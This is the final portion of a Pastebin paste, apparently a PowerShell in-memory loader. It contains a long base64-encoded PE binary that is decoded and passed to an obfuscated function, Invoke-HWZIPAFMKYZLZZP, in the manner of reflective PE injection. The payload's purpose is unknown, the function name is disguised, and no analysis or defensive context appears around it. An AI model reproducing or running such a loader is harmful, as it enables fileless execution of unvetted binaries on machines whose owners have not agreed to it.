AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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"
  2761. [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32)
  2762. Invoke-HWZIPAFMKYZLZZP -PEBytes $PEBytes
  2763.  
  2764. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top